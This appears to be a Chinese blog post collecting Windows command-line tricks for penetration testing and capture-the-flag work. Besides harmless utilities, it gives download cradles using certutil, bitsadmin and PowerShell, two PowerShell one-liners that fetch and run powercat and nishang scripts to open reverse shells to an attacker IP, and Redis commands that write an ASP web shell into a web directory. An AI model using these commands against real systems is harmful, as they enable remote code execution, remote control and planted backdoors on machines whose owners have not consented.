zoukankan      html  css  js  c++  java
  • windows实战常用命令

    windows实战常用命令

    jar 解压jar包

    jar -xvf xxx.jar : 默认解压到当前目录
    

    powershell调用curl

    powershell -c curl http://www.baidu.com -UseBasicParsing
    

    windows编为base64

    certutil --encode a.txt encode.txt
    certutil --decode encode.txt a.txt
    

    windows输出散列值

    certutil -hashfile 文件名 sha1/sha256/...
    

    windows 特殊符号转义

    利用`进行转义
    

    windows 下载文件

    #下载文件
    certutil -urlcache -split -f http://example.com/a.txt
    
    #下载文件并编码
    certutil -urlcache -split -f http://192.168.1.51/dll.txt dll.txt | certutil -encode dll.txt edll.txt
    
    #适用于windows 7以上版本
    bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"
    
    powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','E:\phpstudy_pro\WWW\a.ps1')
    

    windows反弹shell

    #powershell反弹cmd,最好将github的下载地址替换为自己的vps
    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd
    
    
    #powershell反弹powershell
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.203.140 -port 6666
    

    系统错误代码

    certutil -error 错误代码
    

    windows中的压缩/解压命令

    #压缩
    makecab e:/test.txt e:/test.zip
    #解压,文件夹必须存在
    expand e:/test.zip e:/test.txt
    expand -F:* test.zip E:\output\
    

    windowsw全局搜索文件

    for /r c:/ %i in (*flag*) do @echo %i
    dir C:\ /b/s "flag"
    

    redis写入文件

    config get dir
    config set dir /var/www/
    set aa "\n\n\n<%execute request('chopper')%>\n\n\n"
    config get dbfilename
    config set dbfilename aa.asp
    save
    
  • 相关阅读:
    Delphi中解析Xml的控件-SimDesign NativeXml
    DELPHI判断是否64位操作系统
    几个获取Windows系统信息的Delphi程序
    delphi假死线程堵塞解决办法
    Delphi ADO数据操作封装类
    Delphi的时间与字符串函数代码示例
    【BZOJ2132】圈地计划 最小割
    【BZOJ3544】[ONTAK2010]Creative Accounting 前缀和+set
    【BZOJ4281】[ONTAK2015]Związek Harcerstwa Bajtockiego LCA
    【BZOJ2083】[Poi2010]Intelligence test 二分
  • 原文地址:https://www.cnblogs.com/tomyyyyy/p/15650439.html
Copyright © 2011-2022 走看看